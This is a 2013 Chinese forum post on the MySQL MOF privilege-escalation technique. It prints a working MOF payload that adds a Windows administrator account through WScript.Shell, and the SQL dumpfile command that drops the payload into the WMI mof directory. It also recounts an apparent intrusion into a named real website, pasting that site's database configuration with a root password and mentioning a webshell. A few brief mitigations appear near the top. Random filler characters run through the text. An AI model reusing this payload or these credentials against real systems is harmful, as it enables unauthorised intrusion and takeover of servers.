找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2285|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法6 f3 K6 E7 V" O' S

6 E' N6 j+ @" V3 w网上公开的一些利用代码:3 }1 M. b# @! ~
' |9 v- J) b0 y8 n" j! u* C
#pragma namespace(“\\\\.\\root\\subscription”)
' d4 S! h5 x* K9 s. \: A
9 G, q/ c' i% binstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
1 s" i' L1 Q6 R/ Q2 p
& s. H5 G, A3 o; z: p/ c 0 M7 e- B/ H7 x& V/ i

# o2 X$ E9 V: J+ C+ h. L
: d0 B# k0 T8 U, M
' v  v- r0 j" P: V; b2 M连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
) b0 q. L2 x; Q+ N' z! X从上面代码来看得出解决办法:
# q) p/ j  T$ Z; c/ X, P  o6 H% a
! [) {8 T& S2 z" D. i1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
' Y8 @, i. Q. [0 X8 U: u" u
  R: m% o5 c9 {& s) O) o2、禁止使用”WScript.Shel”组件
4 Q9 Q  e: H. U" H9 f; @% y
+ H7 S- ?7 |8 j1 F- O5 N9 J3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
- H! _+ c: C+ r3 S3 X1 p# |0 w4 z& o8 Z
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下# t# k2 K4 E# ]1 }% T
3 m( m. R4 \( h9 ^, x& q
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权% U$ d* _1 @) n3 ~/ [$ P

$ g2 z- f9 d* P% G) W7 b但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
+ A" n' f3 f0 R& Q  J% q. t$ H7 l6 d1 i, a5 _
看懂了后就开始练手吧! H/ P2 w/ @2 [, I* O2 y% {

, I0 g' l& a. w; Q' o" lhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
* W, I+ o. b$ k. E8 u; F1 R( y+ x
4 |; a+ p! g8 z% ^/ n- [- s6 g$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
4 @5 r  ?2 Q* f( B
3 ^/ u' V" `9 \* d; o+ L% P7 {4 l1 u6 V于是直接用菜刀开搞2 l/ ?. r, e+ B) ?! q

, q2 N9 @/ s* c1 E$ ~& _6 R  ]上马先
! C. n1 v1 V- H! [% K
: _" Y2 C9 ^) C; o+ ^既然有了那些账号 之类的 于是我们就执行吧…….
" b5 ^( G" q# r0 l- X7 |' }) r9 m% ]8 B  l% f) P% q
小小的说下
2 ]5 V. H, n. V8 v' L4 y& n
5 ]8 K3 x: X4 t" G$ Z在这里第1次执行未成功        原因未知: P) `, Y' K& c8 j
) y* N% E2 n+ r+ s
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
+ P( V2 t1 a' U, l9 v, ?& J; m/ C4 C9 l% b$ v* R# \
#pragma namespace(“\\\\.\\root\\subscription”)5 r6 W: T) e9 v/ q8 \
4 k3 H1 @& b/ c+ M, y7 F) v( _. i
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };2 Y& W- W% {6 A$ A, B' p

9 \  P0 D8 i& I) B7 Z% l# s2 ?我是将文件放到C:\WINDOWS\temp\1.mof
$ @9 g. [  u* Y5 F9 X9 X* H
4 G+ ~6 n% s3 `) g所以我们就改下执行的代码
% C( ^+ e- R" p
& X2 S8 P* P# |( [7 J8 vselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;9 J$ p+ \" \, u- r
7 O* ^* H+ P3 @6 G/ i

3 x: }8 D; W2 V5 ?3 N# i- P: q
4 ~* M4 E3 i4 b但是 你会发现账号还是没有躺在那里。。8 Q8 k3 {: _8 @+ I: `% I8 g

# b* Y/ W3 B2 o3 m于是我就感觉蛋疼7 P" m$ Z# l8 c$ C; I1 `6 o* h3 l) j# e
1 H+ I: A" C5 Y  H
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
6 v0 d* Y( x+ |9 y) j- N+ b: d( b  A5 L) F+ R

$ ?' H! h" W  B6 c8 |# H8 @
+ K! \+ b/ ?- k但是其他库均不成功…
1 _1 L/ B0 N2 K0 l9 b
% N- h1 @3 f' d我就很费解呀 到底为什么不成功求大牛解答…
6 g5 i& H8 D; v! N, _- D$ \
* h  M: w) i( r8 w0 J( Y- ~3 `
6 G- {) B. M0 g4 O9 M5 V0 f4 V  }# F8 R: U0 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表